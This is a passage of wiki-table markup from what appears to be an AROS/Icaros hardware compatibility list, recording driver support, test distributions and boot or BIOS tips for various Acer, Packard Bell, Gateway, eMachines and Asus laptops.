| &lt;!--Name--&gt;TravelMate 2490 series 2492WXMi || &lt;!--Chipset--&gt;940GML || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|Intel 945 2D and 3D tunnel 164 gearbox 105}} || &lt;!--Audio--&gt;{{Yes|HD Audio}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{Maybe|Broadcom BCM4401}} || &lt;!--Wireless--&gt;{{No|Atheros AR5005GS suspect hardware issue}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2006 32bit - 15inch screen - strange curved up at ends keyboard style - overall plastic construction - Atheros AR5005G(s) - 
|-
| &lt;!--Name--&gt;Gateway ML6227B MA7 || &lt;!--Chipset--&gt;Celeron M 520 1.6Ghz with 945GM || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|945GM 2D and 3D tunnel 169 gearbox 132}} || &lt;!--Audio--&gt;{{No|HDA Intel with STAC9250 codec}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Marvell 88E8038}} || &lt;!--Wireless--&gt;{{No|8187L but swap ath5k mini pcie}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2006 15.4 ultrabrite widescreen - Wifi Switch on side Fn/F2 - 
|-
| &lt;!--Name--&gt;Acer Aspire 5630-6796 6288 BL50 || &lt;!--Chipset--&gt;T5200 T5500 Intel® Core™2 Duo T7200 T7400 T7600 || &lt;!--IDE--&gt;{{Yes| }} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Yes|Intel® GMA 950 with S-Video out with 2D and 3D}} || &lt;!--Audio--&gt;{{Yes|HDAudio with ALC883? codec}} || &lt;!--USB--&gt;{{Yes|4 USB}} || &lt;!--Ethernet--&gt;{{yes|Broadcom BCM4401}} || &lt;!--Wireless--&gt;{{No|Intel 3945abg swap for Atheros 5K}} || &lt;!--Test Distro--&gt;Tiny AROS || &lt;!--Comments--&gt;2006 - 64bit 39.1 cm (15.4&quot; 1280 x 800) - 2 DDR2-SDRAM slots max 4GB - green mobo?? - 
|-
| &lt;!--Name--&gt;Acer Aspire 5633WMLI BL51 || &lt;!--Chipset--&gt;T5500 with Intel® 945PM/GM Express || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|IDE mode}} || &lt;!--Gfx--&gt;{{Yes|Nvidia Go 7300 with 2D and 3D}} || &lt;!--Audio--&gt;{{Yes|HD Audio with Realtek codec}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{yes|Broadcom 440x}} || &lt;!--Wireless--&gt;{{No|Intel 3945 swap for Atheros 5k}} || &lt;!--Test Distro--&gt;Tiny Aros || &lt;!--Comments--&gt;2007 64 bit dual core2 - 15.4 WXGA screen - ddr2 max 4gb - OrbiCam no support - ENE chipset SD card - blue mobo?? - 
|-
| &lt;!--Name--&gt;Acer Aspire 9410 9420 || &lt;!--Chipset--&gt;Intel Core Duo with 945PM Express || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes| }} || &lt;!--Gfx--&gt;{{Yes|2D NVIDIA GeForce Go 7300 - 128 MB VRAM G72M}} || &lt;!--Audio--&gt;{{Yes|Intel HD audio with  codec}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{Yes|rtl8169 8111 }} || &lt;!--Wireless--&gt;{{No|Intel 3945ABG but could swap with atheros 5k}} || &lt;!--Test Distro--&gt;Icaros 2.3 || &lt;!--Comments--&gt;2007 32bit - 17in TFT 1,440 x 900 WXGA+ - 2 ddr2 sodimm slots max 4gb - 
|-
| &lt;!--Name--&gt;eMachines E510 series KAL10 || &lt;!--Chipset--&gt;Intel Celeron M 560 2.13Ghz with PM965  || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel x3100 || &lt;!--Audio--&gt;{{Yes|Intel with  codec}} || &lt;!--USB--&gt;Intel || &lt;!--Ethernet--&gt;{{No|Broadcom BCM5906M}} || &lt;!--Wireless--&gt;{{No|Atheros G AR5BXB63 bios issue??}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2007 32bit very budget machine with InsydeH20 bios and F10 boot menu 
|-
| &lt;!--Name--&gt;ACER Aspire 5920 [http://tim.id.au/laptops/acer/aspire%205920g.pdf 5920G] || &lt;!--Chipset--&gt;Santa Rosa Core 2 Duo T7300 T7500 later T9300 with GM965 and PM965(G) Express || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe| }} || &lt;!--Gfx--&gt;{{Maybe|use VESA for X3100M or 8600M GS (rev a1) 9500M GT 256MB vram (G) but some AMD/ATI RV635 M86 HD 3650}} || &lt;!--Audio--&gt;{{No|HD Audio with realtek alc268, [https://forums.opensuse.org/t/no-sound-on-acer-aspire-5920g/32392 ALC883] or Realtek ALC1200 / alc888s codec ICH8}} || &lt;!--USB--&gt;{{Yes|USB2 }} || &lt;!--Ethernet--&gt;{{No|Broadcom BCM5787M}} || &lt;!--Wireless--&gt;{{unk|Intel 3945ABG 4965 or Atheros 9k AR9285}} || &lt;!--Test Distro--&gt;Deadwood test iso 2023-01 2023-11 || &lt;!--Comments--&gt;2008 64bit boot with 'noacpi' or 'noioapic' - 15.4in 1280 x 800 pixels 16:10 - BMW Designworks ‘Gemstone’ design - over 3.0kg with options for 8-cell or 6-cell batteries - 2 SODIMM DDR2 667MT/s max 4GB - synaptics touchpad - 
|-
| &lt;!--Name--&gt;Acer A0521 Ao721 || Athlon II Neo K125 + AMD M880G || {{N/A}} || {{maybe| }} || {{maybe|ATI Radeon HD 4225 (VESA only)}} || {{No|Conexant}} || {{Maybe| }} || {{no|AR8152 l1c}} || {{unk|AR9285 ath9k}} || AspireOS 1.7 || 2006 64bit possible 
|-
| &lt;!--Name--&gt; Extensa 5630Z || &lt;!--Chipset--&gt;T6600 with Intel GL40 Express || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe|IDE mode}} || &lt;!--Gfx--&gt; {{Yes|Intel GMA 4500M HD (2D)}} || &lt;!--Audio--&gt; {{Yes|HD Audio}} || &lt;!--USB--&gt; {{Yes|USB 2.0}} || &lt;!--Ethernet--&gt; {{No|Broadcom BCM 5764M}} || &lt;!--Wireless--&gt; {{No|RaLink RT2860}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2008 64bit 
|-
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Aspire 5250 series 5253 BZ400 BZ602 || &lt;!--Chipset--&gt;E350 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{no|VESA 2D for AMD HD6310}} || &lt;!--Audio--&gt;{{yes|HDaudio for codec Conexant CX20584}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{no|Atheros AR8151}} || &lt;!--Wireless--&gt;{{no|Atheros 9k AR5B97}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit does not support AVX or SSE 4.1 - 
|-
| &lt;!--Name--&gt;Aspire V5 V5-121 V5121 AO725 One 725 || &lt;!--Chipset--&gt;AMD C-70 C70 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{no|VESA for AMD 6290G}} || &lt;!--Audio--&gt;{{no|Realtek ALC269 codec}} || &lt;!--USB--&gt;{{yes|2 x USB2}} || &lt;!--Ethernet--&gt;{{no|Broadcom}} || &lt;!--Wireless--&gt;{{no|Broadcom}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 - 
|-
| &lt;!--Name--&gt;Aspire V5-122P MS2377 || &lt;!--Chipset--&gt;C-70 C70 with M55, AMD A4-1250 or A6 1450 up to 1.4Ghz || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes| }} || &lt;!--Gfx--&gt;AMD 8210 || &lt;!--Audio--&gt;{{unk|HDaudio with  codec}} || &lt;!--USB--&gt;{{maybe|FCH USB EHCI OHCI}} || &lt;!--Ethernet--&gt;{{Maybe|rtl8169 but LAN/VGA Combo Port Cable (AK.LAVGCA 001) or MiniCP port to Acer Converter Cable (Mini CP to VGA/LAN/USB) (NP.OTH11 00C) needed}} || &lt;!--Wireless--&gt;{{unk|Atheros 9k AR9565}} || &lt;!--Test Distro--&gt;Aros One || &lt;!--Comments--&gt;2012 64bit but no sse4 or avx - 26w battery internal, extension possible - 11.6in 1366 x 768 ips touchscreen - 7mm hd ssd - 2gb ddr3l soldered with 1 slot free max 4GB - bios hacking needed for virtualisation - 
|-
| &lt;!--Name--&gt;Packard Bell EasyNote TE69 TE69KB 522 || &lt;!--Chipset--&gt;slow E1-2500, E2-3800 2c2t Dual or A4-5000 4c4t Quad both soldered BGA769 (FT3) on Hudson-2 FCH || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe|Use IDE mode}} setting AHCI to IDE mode - boots if UEFI set to Legacy || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for ATI Radeon 8120 8240, 8320, 8330 or 8280 islands}} || &lt;!--Audio--&gt;{{Yes|HDAudio with ALC282 0x10ec, 0x0282 codec but not HDMI}} || &lt;!--USB--&gt;{{Yes|Bios, Boot, set Boot mode to Legacy, nothing from USB3}} || &lt;!--Ethernet--&gt;{{No|Atheros AR8171 AR8175 or Broadcom BCM57780}} || &lt;!--Wireless--&gt;{{unk|Atheros AR9565 0x1969 0x10a1}} || &lt;!--Test Distro--&gt;Aspire OS Xenon and AROS One 1.6 usb || &lt;!--Comments--&gt;2013 64bit with sse4.1 and AVX - 15.6in washed out screen big netbook - Boots with noacpi after using F2 to enter EFI firmware and f12 boot device - 2 ddr3 sodimm slots max 16Gb - 
|-
| &lt;!--Name--&gt;ASPIRE Acer Aspire ES1-520 521 522 Series N15C4 ES1-523 || &lt;!--Chipset--&gt;AMD AMD E1-7010, A8-7410 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{partial|VESA for RADEON R5}} || &lt;!--Audio--&gt;{{no|Realtek ALC 233 or CX20752 HD AUDIO CODEC}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{no|Atheros AR8151 Gigabit or Broadcom 590x}} || &lt;!--Wireless--&gt;{{no|Realtek RTL8187 or 8812BU}} || &lt;!--Test Distro--&gt;Aros One || &lt;!--Comments--&gt;2015 64bit with sse4.1 and AVX - 2 ddr3l slots - keyboard connected to top case - 
|-
| &lt;!--Name--&gt;Acer Aspire V15 NITRO Black edition || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GTX 860M || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit 
|-
| &lt;!--Name--&gt;Predator 15 (G9-591-)  (G9-593-72VT) || &lt;!--Chipset--&gt;Intel i7-6700HQ || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;GTX 960M to 980M, GTX 1060 || &lt;!--Audio--&gt;{{unk|HDAudio with Realtek ALC255 @ Intel Sunrise Point PCH High Definition Audio Controller}} || &lt;!--USB--&gt;USB3 || &lt;!--Ethernet--&gt;{{no| }} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Nitro 5 an515-42 || &lt;!--Chipset--&gt;Ryzen 2500u || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;AMD rx560x  || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 
|-
| &lt;!--Name--&gt;aspire 3 A315-41 || &lt;!--Chipset--&gt;Ryzen 2500u || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;AMD Vega  || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 
|-
| &lt;!--Name--&gt;swift 3 sf315-41 || &lt;!--Chipset--&gt;Ryzen 2500u || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;AMD Vega  || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 
|-
| &lt;!--Name--&gt;Acer Aspire 3 A315-23 || &lt;!--Chipset--&gt;AMD Ryzen 3020e, r3 3200u || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme  || &lt;!--Gfx--&gt;VESA 2D for AMD || &lt;!--Audio--&gt;{{unk|HDAudio with codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe| }} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2019 64bit - 
|-
| &lt;!--Name--&gt;Aspire 3, 5 A515-44-R0ZN || &lt;!--Chipset--&gt;AMD Ryzen 5 4500u || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;VESA 2D for AMD Radeon || &lt;!--Audio--&gt;{{unk|HDAudio with ALC codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 64bit - 14in or 15.6&quot; 1080p - 19v round charging - [https://www.youtube.com/watch?v=vr0tC3QJWxk repair], 4gb soldered with 1 ddr4 sodimm slot - 
|-
| &lt;!--Name--&gt;Swift 3 SF314-42 series N19C4 , Swift SF315-4 || &lt;!--Chipset--&gt;Ryzen 5 4500U, 7 4700U|| &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme  || &lt;!--Gfx--&gt;VESA 2D for AMD || &lt;!--Audio--&gt;{{unk|HDAudio with codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 64bit 1080p - small round ac 19v 3.42A or usb-c - mobo FH4FR LA-J731P - 
|-
| &lt;!--Name--&gt;Acer Swift 3 SF314-43, Swift SF315-41 || &lt;!--Chipset--&gt;Ryzen 7 5700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme  || &lt;!--Gfx--&gt;VESA 2D for AMD || &lt;!--Audio--&gt;{{unk|HDAudio with codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit 1080p - small round ac or usb-c - 
|-
| &lt;!--Name--&gt;Aspire 5 A515-45 || &lt;!--Chipset--&gt;r7 5700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;AMD || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit - 15.6in 1080p - asus round ac - 
|-
| &lt;!--Name--&gt;Aspire 5 A515-47 || &lt;!--Chipset--&gt;ryzen 5 5625U,  || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;AMD || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit - 15.6in 1080p - asus round ac - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}


====Asus====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;Asus L8400-K Medion MD9467 || &lt;!--Chipset--&gt;Intel desktop 850MHz || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;S3 Savage MX || &lt;!--Audio--&gt;{{No|ESS allegro 1988}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek 8139 || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2001 32bit 
|-
| &lt;!--Name--&gt;Asus L2000 L2400 L2D Series Medion 9675 || &lt;!--Chipset--&gt;Athlon 4 mobile || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;use vesa sis630 || &lt;!--Audio--&gt;{{No|sis7018}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;sis900 || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2002 32bit 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;x51R X51RL || &lt;!--Chipset--&gt;Duo T2250 T2330 with RS480 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Maybe|use VESA RC410 [Radeon Xpress 200M]}} || &lt;!--Audio--&gt;{{Yes|HD with  codec}} || &lt;!--USB--&gt;{{Maybe|boots and detects}} || &lt;!--Ethernet--&gt;{{Yes|RTL-8139}} || &lt;!--Wireless--&gt;{{No|Atheros AR5006EG AR5111 ath5k AzureWave AW-GE780 - could be ATI Chipset}} || &lt;!--Test Distro--&gt;Icaros 2.2, deadwood 2021,  || &lt;!--Comments--&gt;2003 32bit 15.4 WXGA - 19v barrel - ESC boot select - F2 bios - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Asus R2H Ultra Mobile PC UMPC || &lt;!--Chipset--&gt;Celeron 900Mhz 910GML || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GMA900 || &lt;!--Audio--&gt;Ac97 ALC880 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;realtek 8169 8101e || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2004 32bit [https://www.youtube.com/watch?v=Jm4fOrqyj3g boots] 
|-
| &lt;!--Name--&gt;Asus A3 series A3F Ergo Ensis 211 RM || &lt;!--Chipset--&gt;P-M 1.6GHz to Core Duo with 950 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel 945 || &lt;!--Audio--&gt;Ac97 ALC655 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek 8100CL 10/100 || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2004 32bit only 
|-
| &lt;!--Name--&gt;Z33  || &lt;!--Chipset--&gt;915 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;915GM || &lt;!--Audio--&gt;HD Audio ALC880 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek 8139 || &lt;!--Wireless--&gt;Intel 2915ABG || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2005 32bit Z33A Z33AE N5M N5A 
|-
| Z70A Z70V Z70Va M6A z7000 z7000a || i915 + ICH6 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{yes|mobile 915GML}} || &lt;!--Audio--&gt;{{no|ICH6 HD Audio}} || &lt;!--USB--&gt;{{yes|USB2.0}} || &lt;!--Ethernet--&gt;{{no|Marvell 88E8001}} || {{no|Intel PRO 2200BG Fn / F2}} || Icaros 1.3 || 2005 32bit 
|-
| [http://www.progweb.com/en/2010/09/linux-sur-un-portable-asus-a6jm/ A6jm] A6JC || 945GM || IDE || SATA || {{yes|nVidia GeForce Go 7600 G70}} || {{no|HD Audio}} || {{yes|USB}} || {{yes|RTL8111 8168B}} || {{no|Intel 3945 ABG}} || Icaros  1.2.4 || 2006 32bit only 
|-
| &lt;!--Name--&gt;F3Jc || &lt;!--Chipset--&gt;945PM || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;G72M Quadro NVS 110M, GeForce Go 7300 || &lt;!--Audio--&gt;D audio || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;realtek 8169 8111 || &lt;!--Wireless--&gt;Intel 3945 || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2007 32bit - 
|-
| &lt;!--Name--&gt;X50GL F5GL || &lt;!--Chipset--&gt;T5800 with 965 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe}} || &lt;!--Gfx--&gt;{{Maybe|use VESA 2d - Nvidia 8200M G84 runs hot}} || &lt;!--Audio--&gt;{{No|HD Audio MCP79 with  codec}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{No|MCP79}} || &lt;!--Wireless--&gt;{{No|Atheros AR5B91 AW-NE77}} || &lt;!--Test Distro--&gt;Icaros 2.2 || &lt;!--Comments--&gt;2008 64bit not much support no display with nouveau - 19v barrel - ddr2 max 4gb - 
|-
| &lt;!--Name--&gt;ASUS G50 &amp; G51 series G50V G50Vt G51V G51VX G51J G51Jx G50VT X1 X5 ROG || &lt;!--Chipset--&gt;AMD64 with MCP71 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes}} || &lt;!--Gfx--&gt;nVidia GeForce 9800M GS (G94M) up to GT200 [GeForce GTX 260M] (G92M) || &lt;!--Audio--&gt;Nvidia HD Audio with  codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Atheros L1C atl1c}} || &lt;!--Wireless--&gt;Atheros G or Intel || &lt;!--Test Distro--&gt;Icaros 2.3 || &lt;!--Comments--&gt;2009 64bit not all GPUs are failing but a much higher % failing early, 8x00 and 9x00 G84, G86, G92, G94, and G96 series chips dying - ddr2 max 4gb - 
|-
| &lt;!--Name--&gt;M50V M50 series || &lt;!--Chipset--&gt;Intel Core 2 Duo P8400 or T9400 with Intel PM45 ICH9 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|BIOS set to compatibility IDE mode}} || &lt;!--Gfx--&gt;NVIDIA GeForce 9600M GS or 9650M GT || &lt;!--Audio--&gt;HDAudio with Realtek ALC663 || &lt;!--USB--&gt;USB2 || &lt;!--Ethernet--&gt;{{Yes|rtl8169 realtek 8169 8111C}} || &lt;!--Wireless--&gt;{{unk|Intel 5100 or Atheros AR928X}}|| &lt;!--Test Distro--&gt;AROS One 2.0 USB || &lt;!--Comments--&gt;2009 64bit - 15.40 inch 16:10, 1680 x 1050 glossy - the &quot;Infusion&quot; design - heavy 3kg - ddr2 ram max 4gb - 
|-
| &lt;!--Name--&gt;Series F9 F9E F9dc F9f F9j F9s || &lt;!--Chipset--&gt;965GM || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{maybe|Vesa}} || &lt;!--Audio--&gt;{{yes|HD Audio ALC660 playback}}  || &lt;!--USB--&gt;{{yes|works}}  || &lt;!--Ethernet--&gt;{{yes|RTL8169 }}  || &lt;!--Wireless--&gt;{{no|intel 3495 not working}}  || &lt;!--Test Distro--&gt;Icaros 1.41 || &lt;!--Comments--&gt;2009 64bit - ddr2 max 4gb - 
|-
| P52F SO006X || i3-370M || IDE || SATA || {{yes|nVidia G92 [GeForce 9800 GT] (2D)}} || {{no|Intel HD Audio}} || {{yes|2 USB2.0}} || {{no|Atheros AR8121 AR8113 AR8114 (l1e)}} || {{dunno}} || Icaros 1.3 || 2010 64bit - ddr3 slot - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Asus 
* X53U MB Ver K53U or K52U Asus K53U MB Ver K53U
* A53U XT2 X53B MB ver: K53BY (compal) 
